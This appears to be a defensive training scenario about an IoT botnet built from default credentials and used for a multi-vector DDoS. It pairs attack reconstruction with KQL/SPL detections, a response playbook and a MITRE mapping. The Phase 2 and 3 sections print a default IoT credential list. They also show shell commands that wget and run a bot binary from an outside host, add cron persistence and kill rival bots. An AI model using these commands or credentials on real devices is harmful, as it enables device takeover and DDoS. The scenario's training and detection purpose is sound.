SC-048: IoT Botnet Formation & DDoS Attack¶
Scenario Overview¶
A threat actor scans internet-facing IoT devices (IP cameras, home routers, DVRs) for default and weak credentials. After compromising thousands of devices, the attacker deploys botnet malware that establishes C2 communication via DNS-over-HTTPS and IRC channels. The botnet is then directed to launch a multi-vector DDoS attack against a target organization's web infrastructure, combining volumetric UDP floods, HTTP/2 request floods, and DNS amplification.
Environment: Target organization web infrastructure at 192.0.2.0/24; IoT devices across multiple consumer ISPs Initial Access: Default credentials on internet-facing IoT devices Impact: 48-hour service outage, estimated $1.8M revenue loss Difficulty: Intermediate Sector: E-Commerce / Retail
Attack Timeline¶
| Timestamp (UTC) | Phase | Action |
|---|---|---|
| 2026-02-20 (Day -23) | Reconnaissance | Mass scanning for IoT devices with open management ports |
| 2026-02-22 (Day -21) | Initial Access | Credential brute-force against discovered devices |
| 2026-02-25 (Day -18) | Execution | Deploys botnet agent on compromised devices |
| 2026-03-01 (Day -14) | C2 Establishment | Bots check in via DNS-over-HTTPS and IRC |
| 2026-03-05 (Day -10) | Resource Development | Botnet grows to ~12,000 compromised devices |
| 2026-03-10 (Day -5) | Reconnaissance | Attacker probes target infrastructure for DDoS vectors |
| 2026-03-15 14:00:00 | Impact — Wave 1 | UDP volumetric flood (380 Gbps peak) |
| 2026-03-15 14:12:00 | Impact — Wave 2 | DNS amplification attack via open resolvers |
| 2026-03-15 14:30:00 | Impact — Wave 3 | HTTP/2 request flood (4.2M RPS) targeting application layer |
| 2026-03-15 16:45:00 | Mitigation | DDoS mitigation provider activated, traffic scrubbing begins |
| 2026-03-17 14:00:00 | Recovery | Full service restoration after 48 hours |
Technical Analysis¶
Phase 1: Reconnaissance — IoT Device Scanning¶
The attacker scans large IP ranges for devices with common management interfaces exposed to the internet.
# Reconnaissance scanning (reconstructed from honeypot logs)
# Targeted ports for IoT devices:
# 23 — Telnet (cameras, routers)
# 80 — HTTP admin panels
# 443 — HTTPS admin panels
# 554 — RTSP (IP cameras)
# 8080 — Alternate HTTP (DVRs, routers)
# 8443 — Alternate HTTPS
# 37215 — Huawei router admin
# 52869 — UPnP
# Scan source: 203.0.113.15 (attacker's scanning infrastructure)
# Observed in honeypot at 192.0.2.200:
# Telnet banner grab
# Connection from 203.0.113.15:48221
# Banner: "BusyBox v1.24.1 (2019-04-12) built-in shell"
# Login attempt: admin/admin -> SUCCESS
# HTTP probe
# GET /login.htm HTTP/1.1
# Host: 198.51.100.100
# Response: 200 OK (DVR management interface detected)
Phase 2: Initial Access — Default Credential Exploitation¶
The attacker uses a credential list targeting common IoT device default passwords.
# Default credential list used (top entries from honeypot analysis)
admin:admin
admin:password
admin:1234
root:root
admin:12345
root:admin
user:user
admin:default
root:vizxv
admin:888888
root:xc3511
admin:juantech
root:54321
support:support
# Brute-force script (reconstructed — educational only)
# Attacker iterates through discovered IPs with credential pairs
# Example Telnet brute-force attempt (from honeypot logs)
# Source: 203.0.113.15
# Target: 198.51.100.101 (IP camera)
# Attempt 1: admin/admin -> FAILED
# Attempt 2: admin/password -> FAILED
# Attempt 3: root/vizxv -> SUCCESS
# Time between attempts: 2.3 seconds (rate-limited to avoid lockout)
# Successful compromise rate: ~8% of scanned devices
# Total scanned: ~150,000 devices
# Compromised: ~12,000 devices
Phase 3: Botnet Agent Deployment¶
After gaining access, the attacker deploys a lightweight botnet agent compiled for various IoT architectures (ARM, MIPS, x86).
# Post-compromise payload delivery (from honeypot capture)
# Executed via Telnet/SSH after successful login
cd /tmp
wget http://198.51.100.55/bins/bot.arm7 -O .sysupdate
chmod +x .sysupdate
./.sysupdate
# Persistence via crontab (if available)
echo "*/5 * * * * /tmp/.sysupdate" >> /var/spool/cron/crontabs/root
# Kill competing botnet agents
ps | grep -E '(mirai|gafgyt|hajime|mozi)' | grep -v grep | \
awk '{print $1}' | xargs kill -9
# Block re-exploitation by closing management ports
iptables -A INPUT -p tcp --dport 23 -j DROP
iptables -A INPUT -p tcp --dport 2323 -j DROP
Phase 4: Command and Control¶
The botnet uses multiple C2 channels for resilience.
# C2 Infrastructure (synthetic)
Primary C2: DNS-over-HTTPS queries to resolver.example.com
Encoded commands in TXT record responses
Domain: c2-updates.example.com
Secondary C2: IRC channel on irc.example.com:6697 (TLS)
Channel: #sys-updates
Bot nickname format: bot-[random8chars]
Fallback C2: Hardcoded IP 203.0.113.30 on port 4443
# C2 beacon example (DNS-over-HTTPS):
GET https://resolver.example.com/dns-query?name=beacon.c2-updates.example.com&type=TXT
Response TXT: "v=status;cmd=idle;interval=300"
# Attack command example:
TXT response: "v=attack;target=192.0.2.10;port=443;method=httpflood;duration=7200"
Phase 5: DDoS Attack — Wave 1 (Volumetric UDP Flood)¶
# Attack characteristics — Wave 1
Type: UDP flood with randomized source ports
Target: 192.0.2.10 (primary web server)
Peak bandwidth: 380 Gbps
Packet rate: ~28 million PPS
Duration: 2 hours
Source IPs: ~12,000 unique IPs (botnet nodes)
# Sample traffic pattern (from target's upstream provider):
Src: [distributed - 12K+ IPs]
Dst: 192.0.2.10
Protocol: UDP
Dst Port: Random (1-65535)
Payload: Random bytes (512-1400 byte packets)
TTL: Varies (real source IPs, not spoofed)
Phase 6: DDoS Attack — Wave 2 (DNS Amplification)¶
# DNS amplification using open resolvers
# Attacker sends small DNS queries with spoofed source IP (target's IP)
# Open resolvers respond with large DNS responses to the target
# Amplification factor: ~54x (60-byte query → 3,200-byte response)
Query type: ANY (requesting all record types)
Query domain: large-zone.example.com (attacker's domain with many records)
Spoofed source: 192.0.2.10 (victim's IP)
Resolvers abused: ~2,800 open DNS resolvers
# Sample amplified response size:
Query: 60 bytes → sent to open resolver
Response: 3,200 bytes → sent to victim (192.0.2.10)
Additional amplified bandwidth: ~95 Gbps
Phase 7: DDoS Attack — Wave 3 (Application Layer HTTP/2 Flood)¶
# HTTP/2 multiplexed request flood
Target: https://www.shop.example.com (e-commerce storefront)
IP: 192.0.2.10
Peak request rate: 4.2 million requests per second
Duration: 6 hours
# Attack characteristics:
# - Valid HTTP/2 connections with TLS handshake
# - Multiplexed streams (100+ concurrent streams per connection)
# - Randomized URL paths to bypass caching
# - Rotating User-Agent strings to appear legitimate
# - Slow-read technique: accept responses slowly to exhaust server connections
# Sample requests (from WAF logs):
GET /products/category/RANDOM_STRING_1?q=RANDOM HTTP/2
Host: www.shop.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml
GET /search?q=RANDOM_STRING_2&page=RANDOM_INT HTTP/2
Host: www.shop.example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)
Accept: text/html,application/xhtml+xml
Detection Opportunities¶
KQL — Anomalous DNS Query Volume¶
// Detect sudden spikes in DNS queries indicating C2 beaconing or DNS amplification
DnsEvents
| where TimeGenerated > ago(24h)
| summarize
QueryCount = count(),
UniqueQueries = dcount(Name),
UniqueSources = dcount(ClientIP)
by bin(TimeGenerated, 5m)
| extend AvgBaseline = toscalar(
DnsEvents
| where TimeGenerated between (ago(7d) .. ago(1d))
| summarize count() / (6 * 24 * 288.0)
)
| where QueryCount > AvgBaseline * 5
| project TimeGenerated, QueryCount, AvgBaseline,
Deviation = round((QueryCount - AvgBaseline) / AvgBaseline * 100, 1)
| sort by TimeGenerated desc
KQL — IoT Device Beaconing Pattern Detection¶
// Detect regular interval beaconing from IoT network segments
CommonSecurityLog
| where DeviceAction == "Allow"
| where SourceIP startswith "10.10.200." // IoT VLAN
| summarize
ConnectionCount = count(),
AvgInterval = avg(datetime_diff('second', TimeGenerated, prev(TimeGenerated))),
DestPorts = make_set(DestinationPort),
BytesSent = sum(SentBytes)
by SourceIP, DestinationIP, bin(TimeGenerated, 1h)
| where ConnectionCount > 12 // More than once every 5 min
| where array_length(DestPorts) == 1 // Single port = beaconing
| sort by ConnectionCount desc
KQL — DDoS Traffic Volume Spike¶
// Detect volumetric DDoS by monitoring inbound traffic anomalies
AzureNetworkAnalytics_CL
| where TimeGenerated > ago(1h)
| where FlowDirection_s == "I" // Inbound
| summarize
TotalBytes = sum(InboundBytes_d),
TotalPackets = sum(InboundPackets_d),
UniqueSourceIPs = dcount(SrcIP_s)
by bin(TimeGenerated, 1m), DestIP_s
| where TotalBytes > 1000000000 // > 1 GB per minute
| where UniqueSourceIPs > 100
| project
TimeGenerated,
DestIP = DestIP_s,
TrafficGB = round(TotalBytes / 1073741824.0, 2),
PacketsMillion = round(TotalPackets / 1000000.0, 2),
UniqueSourceIPs
| sort by TrafficGB desc
KQL — HTTP/2 Application Layer Flood¶
// Detect HTTP/2 flood via abnormal request rates
AzureDiagnostics
| where ResourceProvider == "MICROSOFT.CDN" or ResourceProvider == "MICROSOFT.NETWORK"
| where Category == "FrontDoorAccessLog" or Category == "ApplicationGatewayAccessLog"
| summarize
RequestCount = count(),
UniqueIPs = dcount(clientIp_s),
UniquePaths = dcount(requestUri_s),
ErrorRate = countif(httpStatusCode_d >= 500) * 100.0 / count()
by bin(TimeGenerated, 1m)
| where RequestCount > 50000 // Abnormal request rate
| where ErrorRate > 20 // High error rate during flood
| sort by RequestCount desc
SPL — Default Credential Brute-Force Detection¶
index=network sourcetype="firewall"
dest_port IN (23, 22, 80, 8080, 443, 554, 37215)
| stats count as attempts
dc(dest_ip) as targets
values(dest_port) as ports
by src_ip
| where attempts > 100 AND targets > 10
| sort -targets
| head 20
SPL — DNS Amplification Detection¶
index=network sourcetype="dns"
query_type="ANY"
| stats count as query_count
sum(reply_size) as total_bytes
dc(src_ip) as unique_sources
by dest_ip
| where query_count > 1000
| eval amplification_gb = round(total_bytes / 1073741824, 2)
| sort -total_bytes
SPL — Botnet C2 Beaconing via DNS¶
index=dns sourcetype="stream:dns"
query_type="TXT"
| stats count as txt_queries
dc(query) as unique_queries
values(query) as domains
by src_ip
| where txt_queries > 50
| where unique_queries < 5
| eval beacon_ratio = txt_queries / unique_queries
| where beacon_ratio > 10
| sort -beacon_ratio
SPL — Volumetric DDoS Detection¶
index=network sourcetype="netflow"
direction="inbound"
| bin _time span=1m
| stats sum(bytes) as total_bytes
sum(packets) as total_packets
dc(src_ip) as unique_sources
by _time dest_ip
| eval traffic_gbps = round(total_bytes * 8 / 1000000000 / 60, 2)
| where traffic_gbps > 1
| where unique_sources > 100
| sort -traffic_gbps
SPL — HTTP Flood Detection¶
index=web sourcetype="access_combined"
| bin _time span=1m
| stats count as requests
dc(clientip) as unique_ips
dc(uri_path) as unique_paths
avg(response_time) as avg_response_ms
by _time
| where requests > 50000
| eval requests_per_ip = requests / unique_ips
| where requests_per_ip > 100
| sort -requests
Response Playbook¶
Immediate Containment (0-30 minutes)¶
- Activate DDoS mitigation service: Route traffic through scrubbing center (e.g., Cloudflare, Akamai, AWS Shield)
- Enable rate limiting on WAF/load balancer for HTTP requests
- Implement GeoIP blocking for regions with no legitimate users (if applicable)
- Block known botnet C2 IPs: 203.0.113.15, 203.0.113.30, 198.51.100.55 at upstream provider
- Enable TCP SYN cookies to handle SYN flood component
- Scale infrastructure: Auto-scale web servers and enable CDN caching
Eradication (30 minutes - 24 hours)¶
- Coordinate with upstream ISP to implement BGP Flowspec rules for volumetric traffic
- Block DNS amplification: Contact open resolver operators; implement BCP38 (source address validation)
- Deploy bot detection on WAF: JavaScript challenges, CAPTCHA for suspicious traffic patterns
- Analyze C2 infrastructure and submit takedown requests to hosting providers and registrars
- Share IOCs with industry ISACs and law enforcement (FBI IC3, CISA)
- Identify and notify compromised IoT device owners via ISP abuse contacts
Recovery (24-72 hours)¶
- Post-incident traffic analysis: Baseline normal traffic patterns for future anomaly detection
- Implement always-on DDoS protection (not just reactive)
- Deploy Anycast DNS to distribute DNS query load geographically
- Configure auto-scaling policies based on attack traffic patterns
- Develop DDoS response runbook with ISP and CDN provider contacts
- Implement IoT device security on corporate network: Separate VLAN, default credential scanning, firmware update policy
- Test DDoS resilience with controlled load testing quarterly
MITRE ATT&CK Mapping¶
| Tactic | Technique ID | Technique Name | Scenario Phase |
|---|---|---|---|
| Reconnaissance | T1595.001 | Active Scanning: Scanning IP Blocks | IoT device discovery |
| Resource Development | T1584.005 | Compromise Infrastructure: Botnet | Building IoT botnet |
| Initial Access | T1110 | Brute Force | Default credential attacks |
| Execution | T1059.004 | Command and Scripting: Unix Shell | Botnet agent deployment |
| Persistence | T1053.003 | Scheduled Task/Job: Cron | Crontab persistence |
| Command and Control | T1071.004 | Application Layer Protocol: DNS | DNS-over-HTTPS C2 beaconing |
| Command and Control | T1071.001 | Application Layer Protocol: Web Protocols | HTTP-based C2 |
| Impact | T1498.001 | Network DoS: Direct Network Flood | UDP volumetric flood |
| Impact | T1498.002 | Network DoS: Reflection Amplification | DNS amplification attack |
| Impact | T1499.002 | Endpoint DoS: Service Exhaustion Flood | HTTP/2 application layer flood |
Lessons Learned¶
-
Default credentials remain the primary IoT attack vector: Despite years of awareness, millions of IoT devices remain deployed with factory default credentials. Network segmentation and default credential scanning are essential controls.
-
Multi-vector DDoS requires layered defense: Volumetric attacks require upstream scrubbing (you cannot absorb 380 Gbps locally), while application-layer floods require WAF-level inspection. A single mitigation layer is insufficient.
-
DNS-over-HTTPS complicates C2 detection: Traditional DNS monitoring does not see DoH traffic. Organizations need endpoint-level visibility or DoH-aware network inspection to detect this C2 channel.
-
IoT devices on corporate networks are insider threats: A compromised camera or smart device on the corporate network is an attacker foothold. IoT devices should be isolated on dedicated VLANs with strict egress filtering.
-
DDoS mitigation requires pre-established relationships: Activating a scrubbing service during an active attack is far slower than having always-on protection. The 2.75-hour gap between attack start and mitigation activation cost significant revenue.
-
Amplification attacks exploit the commons: DNS amplification works because open resolvers exist. Organizations running recursive DNS resolvers should ensure they are not open to the internet (BCP38 compliance).
Cross-References¶
- Chapter 31: Network Security Architecture — DDoS mitigation, network segmentation, and traffic analysis
- Chapter 5: Detection Engineering at Scale — Anomaly detection, volumetric alert tuning, and beaconing detection
- SC-025: DNS Tunneling & Data Exfiltration — Related DNS-based attack technique
- Architecture Pattern: DDoS-Resilient Infrastructure — Reference architecture for DDoS defense